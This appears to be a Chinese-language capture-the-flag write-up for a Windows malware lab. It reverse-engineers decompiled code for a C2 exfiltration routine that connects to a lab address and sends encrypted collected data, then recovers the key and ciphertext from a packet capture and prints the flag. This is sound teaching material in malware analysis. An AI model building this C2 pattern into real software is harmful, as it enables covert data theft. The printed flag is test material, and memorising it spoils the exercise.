Simple Reverse - 0x23(2023 Lab - WinMalware - Exfiltrate)

Simple Reverse - 0x23(2023 Lab - WinMalware - Exfiltrate)

Description

請根據 next stage payload 的行為,分析 capture.pcapng 中的封包,找出並解密被滲出/傳送到 C2 server 的資料。

Background

Source Code

  • exfiltrate :::spoiler source
    1
    2
    3
    4
    5
    6
    7
    8
    9
      void __fastcall exfiltrate(PUCHAR pbInput)
      {
        __int64 s[2]; // [rsp+28h] [rbp-10h] BYREF
    
        connect_to_c2(s);
        send_collected_data_to_c2(s[0], pbInput);
        shutdown(s[0], 1);
        closesocket(s[0]);
      }
    

    :::

  • connect_to_c2 :::spoiler source
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
      void __fastcall connect_to_c2(unsigned __int64 *a1)
      {
        unsigned __int64 v2; // rax
        struct sockaddr name; // [rsp+20h] [rbp-1B8h] BYREF
        struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF
    
        if ( !WSAStartup(0x202u, &WSAData) )
        {
          *&name.sa_data[2] = 168470720;
          *name.sa_data = htons(0x2BB3u);
          name.sa_family = 2;
          v2 = socket(2, 1, 6);
          *a1 = v2;
          connect(v2, &name, 16);
        }
      }
    

    :::

  • send_collected_data_to_c2 :::spoiler source
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
      void __fastcall send_collected_data_to_c2(SOCKET s, PUCHAR pbInput)
      {
        char *v4; // rbx
        int v5; // esi
        int i; // eax
        char v7; // al
        int j; // ecx
        int v9; // eax
    
        v4 = malloc(0x4Cui64);
        *v4 = 0x11877811;
        *(v4 + 1) = 4;
        *(v4 + 2) = 0;
        if ( send(s, v4, 76, 0) > 0xB )
        {
          v5 = 0;
          while ( v5 <= 2 )
          {
            if ( recv(s, v4, 76, 0) > 0xB && *v4 == 0x11877811 )
            {
              v9 = *(v4 + 2);
              if ( v9 )
              {
                switch ( v9 )
                {
                  case 1:
                    *v4 = 0x11877811;
                    *(v4 + 1) = 4;
                    *(v4 + 2) = 1;
                    encrypt_key = (v4 + 12);
                    encrypt_data(pbInput);
                    for ( i = 2; i <= 23; ++i )
                      v4[i + 12] += v4[i + 11] - v4[i + 10];
                    break;
                  case 2:
                    *v4 = 0x11877811;
                    *(v4 + 1) = 28;
                    *(v4 + 2) = 2;
                    memcpy_s(v4 + 12, 0x18ui64, cipher, 0x18ui64);
                    break;
                  case 3:
                    goto LABEL_20;
                }
              }
              else
              {
                *v4 = 0x11877811;
                *(v4 + 1) = 4;
                *(v4 + 2) = 0;
              }
              for ( j = 0; j <= 39; ++j )
              {
                v7 = v4[j + 36] + v4[43] + v4[49] - v4[67];
                v4[j + 36] = v7;
                v4[j + 36] = v4[54] - (v4[61] + v4[69]) + v7;
              }
              send(s, v4, 76, 0);
              ++v5;
            }
          }
      LABEL_20:
          free(v4);
        }
      }
    

    :::

Recon

  1. connet_to_c2 目標是取得c2 server的IP和port number
    1. 先看到#12的socket function,他代表的意思是利用IPv4並且TCP的protocol進行溝通,相關的數值說明都在MSDN,可以用前面教到的用m指令改變已知的constant名稱$\to$v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    2. 接著看到connect function中的&name,IDA原本解析成sockaddr,sockaddr是一種通用的結構格式,所以IDA解析出來的東西也沒有問題,不過如果是IPv4又是乙太網路的傳輸,會比較建議把結構改成==sockaddr_in==,這一篇探討了兩者的區別(其實就只是把sockaddr原本的結構擴展而已),這樣的話整體分析會更好 :::spoiler 解析後
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
       void __fastcall connect_to_c2(unsigned __int64 *a1)
       {
         unsigned __int64 v2; // rax
         struct sockaddr_in name; // [rsp+20h] [rbp-1B8h] BYREF
         struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF
      
         if ( !WSAStartup(0x202u, &WSAData) )
         {
           name.sin_addr.S_un.S_addr = 0xA0AA8C0;      // IP: 192.168.10.10
           name.sin_port = htons(11187u);              // Port No.: 11187
           name.sin_family = AF_INET;
           v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           *a1 = v2;
           connect(v2, &name, 16);
         }
       }
      

      ::: :::info IP: 0xA0AA8C0 $\to$ 192.168.10.10(little endian轉十進位) Port: 11187 sin.family: IPv4 Protocol: TCP :::

  2. send_collected_data_to_c2
    1. 先切分程式碼的功能 有時候通靈不一定很準,所以要適時的回頭檢查自己的猜測
    2. 前四行初始化的階段(malloc 0x4c然後塞三個dword),應該是作者自定義的結構,可以利用Structures,自定義一個新的結構,大小就是0x4C,然後前三個可以定義為dd,並且把v4的結構改成packet(按Y)
    3. 各種rename
      • field_0看起來像是一個magic bytes,因為一開始附值之後,傳送過去server,再接收回來的packet也是有做驗證的動作,所以看起來是一個verification magic
      • field_8看起來就是接收來自server下達的command
      • field_C就比較多元,在case 1的時候是當作承接server給的encryption key(大小是8個bytes),但在case 2是當作加密的cipher(大小是0x18個bytes),所以我取名enc_key_or_data,另外大小是0x18(可以從memcpy的大小看出來),所以可以按Y改變型別成char[0x18] :::info 目前整體的流程 :::

    1. 分析pcap 這一部就直接對照著講義上截圖或是剛剛分析的封包格式就可以知道哪一個是key哪一個是cipher Key: f0 c7 d3 0e 7f 2c 15 ba Cipher: 43 60 5b 5f 4e ba 9f 9e e3 78 6f 55 cb 81 24 fa e7 bf 0d 1b 3c 24 b7 4e 接下來就可以直接用cipherchef的線上功能decrypt其中的內容

:::success

Flag: FLAG{C2_cU540m_Pr0t0C01} :::